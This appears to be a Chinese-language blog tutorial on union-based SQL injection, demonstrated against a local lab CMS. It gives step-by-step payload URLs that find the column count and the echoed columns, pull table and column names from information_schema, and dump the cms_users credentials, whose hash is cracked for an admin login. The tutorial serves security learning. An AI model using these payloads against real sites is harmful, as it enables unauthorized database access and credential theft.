SQL注入之联合查询

文章目录

联合查询是什么?

适用数据库中的内容会回显到页面中来的情况。联合查询就是利用union select 语句,该语句会同时执行两条select 语句,实现跨库、跨表查询。
必要条件

两条select 语句查询结果具有相同列数:

对应的列数据类型相同(特殊情况下,条件被放松)。

联合查询就是利用SQL语句中的union select语句同时执行两条select语句,实现跨表查询的方法。

由于联合查询会将数据库中的两张表按照列数拼接(纵向拼接)后再进行查询,所以要求两条select语句查询的表必须******有相同的列数,并且数据类型相同,否则命令会报错。

联合查询获取cms账号密码

判断列数

打开cms数据库的网页:http://127.0.0.1/cms/show.php?id=33,用order by命令测试cms网页的列数有多少,order by 15正常回显,order by 16报错,一共有15列。

打开hackbar插件,在URL中输入命令测试:

在hackbar中输入下面的命令,相当于用联合查询语句在数据库中查表。通过让联合查询的第一个select语句查询为false,只回显后一个select语句,从而获取能回显的表的列数、数据库名字和版本号等信息。

判断回显位置:

复制代码
?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

复制代码
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

相当于

复制代码
select * from table_name where id=33 and 1=2 union select

复制代码
select * from table_name where id=-33 union select

运行结果:

语句的回显结果说明只有3列和11列能进行数据库的内容回显:

获取数据库名字:

将有回显的11列用database()函数代替,让它回显数据库的名称

复制代码
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

运行结果:

获取数据库版本号:

原理同上

复制代码
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15

运行结果:

指定获取元数据数据库中当前数据库存储表名的tables表中的字段(information_schema 元数据数据库(存储库名、表名(-- tables)、列名(-- columns))):

复制代码
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

因为联合查询中数据类型必须一致,所以用hex()函数将字符转成数字;where table_schema=database指定查询当前数据库的表名 ,也就是cms数据库;group_concat()函数将所有表名联合成一个列、一个字符串。

运行结果:

将16进制转字符:

获得结果:

cms_article

cms_category

cms_file

cms_friendlink

cms_message

cms_notice

cms_page

cms_users

注意到cms_users这个表,里面很可能储存了数据库的用户名和密码。

获取cms_users表的列的字段(内容):

复制代码
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

运行结果:

将16进制转字符:

获得结果:

userid

username

password

获取账密:

复制代码
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,comcat(username,0x3a,password),12,13,14,15 from coms_users

运行结果:

用md5解密后获得账号密码:

admin

123456

尝试登录

登录成功:

相关推荐
Wyawsl9 分钟前
Mysql数据库备份与恢复
数据库·mysql
我没想到原来他们都是一堆坏人17 分钟前
SQL 表结构定义(索引与约束)学习笔记一——索引、外键与级联约束
笔记·sql·学习
程序员小崔日记18 分钟前
一篇文章带你入门漏洞靶场:从 0 到 1 玩转 bWAPP(附完整安装教程)
xml·网络安全·漏洞学习·靶场搭建
AIminminHu31 分钟前
OpenGL渲染与几何内核那点事-项目实践理论补充(一-1-(4):GstarCAD / AutoCAD 客户端相关产品 —— 深入骨髓的数据库哲学)
数据库·几何·cad开发
二等饼干~za89866836 分钟前
豆包GEO优化源码开发全解析:技术架构、实现逻辑与实操指南
数据库·sql·重构·架构·mybatis·音视频
青梅煮酒与君饮1 小时前
深度刨析RAG检索增强
数据库·人工智能·深度学习·语言模型·知识图谱
NineData1 小时前
MySQL到StarRocks 同步链路中的建表、DDL 跟随与数据校验
运维·数据库·starrocks·mysql·数据迁移·数据库管理工具·ninedata
fen_fen1 小时前
DB2表创建与Python插入、查询实操解析
数据库·oracle
xixixi777771 小时前
AI 用于漏洞检测、威胁狩猎、合规审查;安全沙箱 / 隐私计算保障 AI 模型与数据可信
人工智能·网络安全·ai·openai·数据·多模型